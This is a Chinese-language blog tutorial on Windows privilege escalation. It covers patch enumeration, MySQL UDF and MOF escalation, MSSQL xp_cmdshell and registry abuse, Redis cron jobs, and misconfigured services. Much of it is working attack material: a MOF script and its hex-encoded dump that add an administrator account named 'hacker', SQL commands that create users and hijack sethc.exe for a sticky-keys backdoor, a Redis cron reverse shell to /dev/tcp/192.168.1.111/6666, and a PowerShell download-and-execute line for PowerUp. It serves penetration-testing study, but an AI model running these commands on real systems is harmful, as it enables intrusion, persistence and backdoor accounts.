windows提權 (一)

m0userathxy發表於2024-07-26

在Windows中,許可權大概分為四種:
User:普通使用者許可權,預設不允許修改系統的設定或使用者資料
Administrator:管理員許可權,可以利用Windows的機制將自己提升為System許可權
System:系統許可權,可以對SAM等敏感檔案進行讀取
TrustedInstaller:最高許可權,不涉及,作用於系統檔案
提升許可權(也稱提權)的方式分為以下兩類:
縱向提權:低許可權角色獲得高許可權角色的許可權。例如,一個WebShell許可權透過提權,擁有了管理員許可權
橫向提權:獲取同級別角色的許可權。例如,在系統A中獲取了系統B的許可權
提權方法:
系統核心溢位漏洞提權
資料庫提權
錯誤的系統配置提權
組策略首選項提權
Web中介軟體漏洞提權
DLL劫持提權
濫用高許可權令牌提權
第三方軟體/服務提權

系統核心溢位提權

系統核心溢位漏洞提權是一種通用的提權的方法,攻擊者通常可以使用該方法繞過系統的所有安全限制。攻擊者利用該漏洞的關鍵是目標系統沒有及時安裝補丁。
存在侷限性:如果目標系統的補丁更新工作較為迅速和完善,那麼攻擊者要想透過這種方法提權,就必須找出目標系統中的 0day漏洞.
存在四種發現缺少補丁方法

方法一:手動執行命令
先獲取目標系統的一個普通使用者的shell(common shell),之後進入目標機當前shell程序下。
然後下面兩個程式碼任選其一輸入,可以瞭解系統資訊

systeminfo//(Windows中用於顯示關於計算機及其作業系統的詳細配置資訊,包括作業系統配置、安全資訊、產品 ID 和硬體屬性,如 RAM、磁碟空間和網路卡和補丁資訊等。)
wmic qfe get Caption, Description, HotFixID, InstalledOn  //補丁的名稱、介紹、ID、安裝時間

得到結果補丁
攻擊者利用方式:尋找提權的EXP,將已安裝的補丁編號與提權的EXP進行對比,使用不在目標機裡的編號EXP進行提權
尋找特定的補丁編號:(存在便顯示)

wmic qfe get Caption, Description, HotFixID, InstalledOn | findstr /C:"KB3143141" /C:"KB2999226"

方法二:msf 後滲透模組 post
先將 shell 中斷,將程式放置後臺(掛起)。輸入 ctrl + z, 結果是可以看到session 還是存在的。
msf使用post後滲透模組,查詢目標機補丁資訊

use post/windows/gather/enum_patches

透過show options 設定屬性值,滲透成功後得到目標機資訊

方法三:Windows Exploit Suggester
Windows-Exploit-Suggester是受Linux_Exploit_Suggester的啟發而開發的一款提權輔助工具,其主要功能是透過比對systeminfo生成的檔案,從而發現系統是否存在未修復漏洞。該工具截止到2017年已經不更新維護。
注意:
安裝xlrd庫,安裝時指定xlrd庫版本為1.2.0
該指令碼僅可以在python2環境下使用
下載&使用

# 安裝xlrd==1.2.0
# 注:xlrd高版本不支援xlsx,會導致指令碼報錯,務必使用如下指令碼
pip install xlrd==1.2.0
# 下載指令碼&初始化環境
git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git
python2 windows-exploit-suggester.py --update

登入到目標機器,執行systeminfo命令,並複製回顯內容,儲存到本機systeminfo.txt。
執行命令,分析systeminfo.txt檔案,給出漏洞建議。

python2 windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo systeminfo.txt

方法四:PowerShell中的 Sherlock指令碼
Sherlock 指令碼下載地址:https://github.com/rasta-mouse/Sherlock
作用:快速查詢可能用於本地許可權提升的漏洞
MS10-015 : User Mode to Ring (使用者模式到環 )(KiTrap0D)
MS10-092 : Task Scheduler (任務計劃程式)
MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow (核心池溢位)
MS13-081 : TrackPopupMenuEx Win32k NULL Page (Null 頁面)
MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference (空指標接觸引用)
MS15-051 : ClientCopyImage Win32k
MS15-078 : Font Driver Buffer Overflow (字型驅動程式緩衝區溢位)
MS16-016 : 'mrxdav.sys' WebDAV
MS16-032 : Secondary Logon Handle (輔助登入控制代碼)
MS16-034 : Windows Kernel-Mode Drivers EoP (核心模式驅動程式 EoP)
MS16-135 : Win32k Elevation of Privilege (特權提升)
CVE-2017-7199 : Nessus Agent 6.6.2 - 6.10.3 Priv Esc
在系統的 Shell 環境下,呼叫 Sherlock 指令碼。可以搜尋單個漏洞,也可以搜尋所有未安裝的補丁。

import-module 指令碼下載地址(Sherlock.ps1)
Find-AllVulns
Find-MS10015

sherlock 指令碼只是尋找漏洞,而不是利用,因此經常配合其它滲透工具使用,如 cobalt strike

資料庫提權

模擬環境我們拿到了一個普通使用者的許可權,在系統溢位漏洞無果的情況下,可以採用資料庫進行提權,除了access資料庫外,其他資料庫基本都存在資料庫提權 (注意:因為 access資料庫只是一種 網頁文件的形式,與其他資料庫不一樣,除此以外還有一些其他的區別,所以並不適用於資料庫提權)
適用資料庫提權的條件如下:
1、確認目標開放了資料庫服務
2、知道資料庫最高許可權的密碼.例如mysql資料庫,就是root賬戶的密碼

資訊嗅探

當然在使用資料庫提權前我們還是要進行一些簡單的資訊收集,來完成提權操作
1、埠
我們可以先透過檢視目標開放的埠來判斷目標是否開放了資料庫服務,這裡給大家列出了常見的幾個資料庫與預設對應埠,如下

3306 mysql 預設埠 
1433 mssql預設埠
1521 oracle預設埠
6379 redis預設埠 

當埠探測中發現目標開啟的服務中有這幾個就可以暫時初步判定目標開啟了資料庫服務
2、服務
如果無法進行埠探測時也可以進行服務探測,如果目標開啟了資料庫,那麼對應的服務項也會啟動,當你探測到資料庫服務開啟時,也可以嘗試使用資料庫提權
下面是幾種常見的資料庫服務:
mysql
mssql
oracle
redis

密碼收集:

上面提到了使用資料庫提權需要知道資料庫最高許可權的密碼,那這個密碼該怎麼找呢?下面來介紹幾種方式
1.配置檔案
使用過資料庫的同學都知道,網站部署資料庫時需要帶有 資料庫連線資訊,包含賬密,連線埠,資料庫名,ip地址等,如果找到這個檔案那密碼自然不在話下
例如phpstudy的連線檔案如下

下面列出一些常見資料庫的連線檔名,如下
sql
data
inc
config
conn
database
common

2、儲存檔案
資料庫基本都有自帶的密碼檔案,例如mysql自帶的密碼檔案路徑如下
網站路徑/MYSQL/data
該目錄下的檔名就是資料庫對應的庫名,裡面字尾為.MYD的就是資料檔案
例如user.MYD就是mysql庫的user表的資訊

3、暴力破解
[1]、遠端爆破
透過xhray等等工具爆破,此時需要資料庫允許外部連線
[2]、本地爆破
若目標沒有開啟資料庫外連,就可以嘗試上傳本地爆破程式,此時爆破目標的ip就變成了127.0.0.1,也就是localhost

4、其他
還有的就是一些社工手段,弱口令等方式拿到密碼

提權姿勢

1、mysql
[1]、UDF提權

UDF就是User Defined Functions,通俗來講就是使用者可 自定義函式。udf提權就是利用到建立自定義函式(sys_eval),在mysql中呼叫這個自定義的函式(sys_eval)來實現獲取對方主機的system的shell許可權,從而達到提權的目的。 
簡單來說便是利用 提權指令碼放到對方 mysql指定的目錄下,運用指令碼建立自定義函式, 使用函式即可獲取shell許可權。 

而提權指令碼怎麼拿呢?
sqlmap相信很多同學都有,在sqlmap\data\udf\mysql\windows路徑下就有32位和64位的這個提權指令碼,每個資料夾下都是一個dll檔案,這個檔案就是加密過的提權指令碼
詳細步驟
1、準備提權指令碼
加密提權指令碼是因為sqlmap怕這個提權指令碼被查殺,要使用的時候再用sqlmap自帶的解密檔案解密 ,解密步驟如下:

選擇指定版本(32位或者64位)的加密指令碼檔案
複製選擇好的指令碼檔案(dll_檔案)到sqlamp/extra/cloak

開啟cmd執行以下命令進行解密

python cloak.py -d -i lib_mysqludf_sys.dll_

解密後就會生成一個dll檔案,這就是我們要使用的提權指令碼
2、上傳到利用目錄
在mysql<5.1 他的udf利用目錄是在 c:/windwos或者 system32
在mysql=>5.1 他的udf利用目錄是在 /lib/plugin
如果發現lib目錄下面沒有plugin,可以直接新建一個,再把剛才的提權指令碼上傳到該目錄下
3、執行惡意命令
連線目標資料庫執行以下命令

create function sys_eval returns string soname "udf.dll";

如果執行成功,即結果為true就說明沒問題,然後就可以使用下面的格式執行命令

select sys_eval("要執行的命令");

然後可以看到已經得到了administrator許可權,因為部署資料庫時就是使用admin許可權來部署的,如果部署資料庫是system許可權,那麼拿到的也會是system許可權

[2]、MOF提權
MOF提權適用於2003server
條件:資料庫開啟了允許匯入匯出的配置
MOF 提權是一個有歷史的漏洞,基本上在 Windows Server 2003 的環境下才可以成功。提權的原理是 C:/Windows/system32/wbem/mof/ 目錄下的 mof 檔案每隔一段時間(幾秒鐘左右)都會被系統執行,因為這個 MOF 裡面有一部分是 VBS 指令碼,所以可以利用這個 VBS 指令碼來呼叫 CMD 來執行系統命令,如果 MySQL 有許可權操作 mof 目錄的話,就可以來執行任意命令了。
mof指令碼如下:

#pragma namespace("\\\\.\\root\\subscription") 
 
instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 
 
instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; 
}; 
 
instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

在運算元據庫執行如下命令(採用了編碼),將mof檔案匯入C:/Windows/system32/wbem/mof/ 目錄下

mysql >select0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0Aintodumpfile"C:/windows/system32/wbem/mof/test.mof";

成功後會在機器上生成一個users的使用者,密碼為hacker.
注意:執行成功的的時候,test.mof 會出現在:c:/windows/system32/wbem/goog/ 目錄下 否則出現在 c:/windows/system32/wbem/bad 目錄下:
Msf對應攻擊模組名:exploit/windows/mysql/mysql_mof

[3]、啟動項提權
條件:
1、資料庫開啟了寫入檔案的配置
2、資料庫允許外連
利用也比較簡單,就是利用mysql寫入惡意木馬到啟動專案錄,當使用者啟動系統時就會自動載入素有啟動項內容,自然也就執行了我們的惡意程式,拿到許可權
注意:windows server 啟動專案錄 C:/programdata/microsoft/windows/start menu/programs/startup/
Msf對應利用模組: exploit/windows/mysql/mysql_start_up

[4]、反彈shell
和UDF一樣,用nc反彈shell命令即可
就是先做一個反彈shell的php指令碼檔案,上傳後執行,再用nc監聽反彈的許可權

2、mssql
[1]、xp_cmdshel
sql server 2000 版本是預設開啟了xp_cmdshell
在sql server 2005之後的版本就是預設禁止。這個時候就需要 管理員sa許可權才能開啟
xp_cmdshell可以理解為sql server的一個函式,使用步驟如下:

開啟xp_cmdshell(高版本可省去這一步)
運算元據庫執行以下命令:

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;

執行惡意命令

這裡就相當於已經拿到許可權了,直接按如下格式執行命令即可

exec master.dbo.xp_cmdshell '命令'

[2]、sp_oacreate
sp_oacreate和上面的xp_cmdshell沒啥區別,都可以理解為函式,元件,只是利用的命令不同而已,如下
開啟sp_oacreate

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  

執行惡意命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > C:\\1.txt'

上面這個語句就是執行whoami命令,將結果輸出到c盤下的1.txt中(因為這種用法不會在當前回顯)

[3]、沙盒模式
這個就是利用sql server上的沙盒模式,原理很複雜,但是利用過程比較簡單,也是幾條命令,照著我的命令敲就行了,如下
提權命令

exec sp_configure 'show advanced options',1;reconfigure;

不開啟的話在執行xp_regwrite會提示讓我們開啟

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;

關閉沙盒模式,如果一次執行全部程式碼有問題,先執行上面兩句程式碼。

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

查詢是否正常關閉,經過測試發現沙盒模式無論是開,還是關,都不會影響我們執行下面的語句。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

執行系統命令,建立margin使用者,密碼為margin

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

再來看看使用者是否建立成功
net user
可以看到已經有margin使用者了,而margin使用者的許可權也是高許可權
[4]、映像劫持
透過使用xp_regwrite儲存過程對登錄檔進行修改,替換成任意值,造成映象劫持。
前提條件:
1.未禁止登錄檔編輯(即寫入功能)
2.xp_regwrite啟用

1)檢視xp_regwrite是否啟用

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'

2)xp_regwrite開啟與關閉

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_regwrite',1
RECONFIGURE

3)利用regwrite函式修改組登錄檔進行劫持

EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

4)檢視是否修改成功檔案

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

在目標主機上檢視,結果一致

5)驗證是否成功
連按5次粘滯鍵,彈出cmd框
擴充:
上面對只是對粘滯鍵進行修改,類似的,可以在登錄檔中進行其他操作
刪除指定登錄檔鍵值對
刪除粘滯鍵的鍵值

xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'

開啟3389埠,這裡的xp_regwrite為向登錄檔中寫資料

exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
​
exec master..xp_cmdshell "REG ADD 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fDenyTSConnections /t REG_DWORD /d 0"

3、oracle
oracle提權有一款專門的工具,叫做oracleshell
有普通,dba,注入三種,選擇自己獲得的許可權,輸入ip,使用者名稱,密碼,埠等直接連線就可以了,非常方便

4、redis
這個一般是用計劃任務反彈shell來進行提權操作,按照如下步驟輸入命令即可
建立計劃任務(ip為自己的ip,埠為接收許可權的埠)

set x "\n* * * * * /bin/bash -i > /dev/tcp/192.168.1.111/6666 0<&1 2>&1\n"

將計劃任務放到定時任務下

config set dir /var/spool/cron/

設定以root使用者的身份執行該任務

config set dbfilename root

儲存

save

再用nc監聽6666埠即可,上面的kali反彈ip和埠需要

最後再提一下,資料庫提權方式儘量是在 其他提權方式無果後再進行嘗試

錯誤的系統配置提權

windows系統服務檔案在作業系統啟動時載入和執行,並在後臺呼叫可執行檔案。因此,如果一個低許可權的使用者對此類系統服務呼叫的可執行檔案擁有寫許可權,就可以將該檔案替換成任意可執行檔案,並隨著系統服務的啟動獲得系統許可權。windows服務是以system許可權執行的,因此,其資料夾,檔案和登錄檔鍵值都是受強訪問控制機制保護的。但是在一些情況下作業系統中任然存在一些沒有得到有效保護的服務
系統服務許可權配置錯誤有如下兩種可能:
服務未啟動:攻擊者可以使用任意服務替換原來的服務,然後重啟服務
服務正在執行且無法被終止:這種情況符合絕大多數的漏洞利用場景,攻擊者通常會利用dll劫持技術並嘗試重啟服務來提權

powerup
powerup提供了一些本地提權的方法,可以透過很多實用的指令碼來尋找目標機器的windows服務漏洞
三種載入方式

powershell.exe -exec bypass -Command "& {Import-Module .PowerUp.ps1; Invoke-AllChecks}"
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Invoke-AllChecks”

msf(service_permissions)模組
使用兩種方法可獲得system許可權,其實和之前的相同,一種是嘗試建立並執行一個新服務,第二種就是判斷哪些檔案許可權會有問題,對其進行劫持。兩種的結果都是建立出一個隨機檔名安裝路徑的可執行程式。

exploit/windows/local/service_permissions
show options
set session 2

登錄檔鍵AlwaysInstallElevated

登錄檔鍵AlwaysInstallElevated是一個策略設定項。如果開啟了Windows Installer特權安裝功能。windows允許低許可權使用者以System許可權執行安裝檔案。如果啟用此策略設定項,那麼任何許可權使用者都能以NT AUTHORITYSYSTEM許可權來安裝惡意的MSI(Microsoft Windows Installer)檔案

可信任服務路徑漏洞
windows服務通常都是以System許可權執行的,所以系統在解析服務的二進位制檔案對應的檔案路徑中的空格的時候也會以系統許可權進行解析。如果我們能利用這一特性,就有機會進行許可權提升。
例如,有如下的檔案路徑:C:Program FilesSome FolderService.exe
對於上面檔案路徑中的每一個空格,windows都會嘗試尋找並執行名字與空格前的名字向匹配的程式。作業系統會對檔案路徑中空格的所有可能進行嘗試,直到找到一個匹配的程式。以上面的例子為例,windows會依次嘗試確定和執行下面的程式:
C:Program.exe
C:Program FilesSome.exe
C:Program FilesSome FolderService.exe
所以如果我們能夠上傳一個適當命名的惡意可執行程式在受影響的目錄,服務一旦重啟,我們的惡意程式就會以system許可權執行(大多數情況下)。
msf對應trusted_service_path模組

自動安裝配置檔案
網路管理員在內網中給多臺計算器配置同一個環境時,通常不會逐臺配置,而會使用指令碼化批次部署的方法,這個過程就會使用安裝配置檔案。這些檔案中包含的安裝配置資訊,其中還可以包含管理員賬號密碼等等可以執行一下命令搜尋Unattend.xml檔案,msf對應post/windows/gather/enum_unattend模組

計劃任務
schtasks /query /fo LIST /v

參考文獻:https://blog.csdn.net/qq_63844103/article/details/128951265
https://blog.csdn.net/weixin_54648419/article/details/121691028
https://blog.csdn.net/weixin_53639243/article/details/138127663

相關文章